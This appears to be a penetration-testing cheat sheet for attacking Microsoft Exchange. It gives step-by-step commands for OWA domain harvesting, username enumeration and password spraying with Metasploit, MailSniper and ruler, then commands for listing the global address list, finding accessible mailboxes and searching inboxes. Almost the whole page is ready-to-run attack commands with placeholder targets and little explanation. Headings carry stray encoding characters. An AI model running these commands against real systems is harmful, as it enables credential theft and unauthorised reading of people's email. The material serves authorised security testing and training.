Exchange
OWA - From domain to password sprayingâ
1. Find a service to sprayâ
Generally located at mail.target.com
or target.com/owa
2. Obtain the domain nameâ
Look for domain leak
use auxiliary/scanner/http/owa_login
Guessing based on time response
Invoke-DomainHarvestOWA -ExchHostname <target.com/owa> -DomainList <domain_guessing_list.txt> -OutFile <potential_domains.txt>
3. Obtain email addressesâ
See OSINT
Can validate credentials or just the login if the password is wrong but the username exists.
use auxiliary/scanner/http/owa_login
Invoke-UsernameHarvestOWA -ExchHostname <target.com/owa> -UserList <user_list.txt> -Domain <target.local> -OutFile <potential_usernames.txt>
4. Password sprayâ
use auxiliary/scanner/http/owa_login
Invoke-PasswordSprayOWA -ExchHostname <target.com/owa> -userlist <user_list.txt> -Domain <target.local> -password <Winter2020>
MAPI over HTTPâ
Password sprayâ
./ruler-linux64 -k --url https://autodiscover.<domain.int>/autodiscover/autodiscover.xml brute --users /tmp/user.txt --passwords /tmp/passwords.txt
Mailboxes permissions listing with Mail Sniperâ
1. Get global address list (OWA)â
Get-GlobalAddressList -ExchHostname <mail.domain.int> -username <domain>\<user> -Password "<password>" -outfile global-address-list.txt
2. Dump mailboxes accesses (EWS)â
Invoke-OpenInboxFinder -EmailList .\global-address-list.txt -Remote -ExchHostname <mail.domain.int>
3. Search for keywords in inboxâ
Invoke-SelfSearch -Mailbox <user@domain.int> -Remote -ExchHostname <mail.domain.int>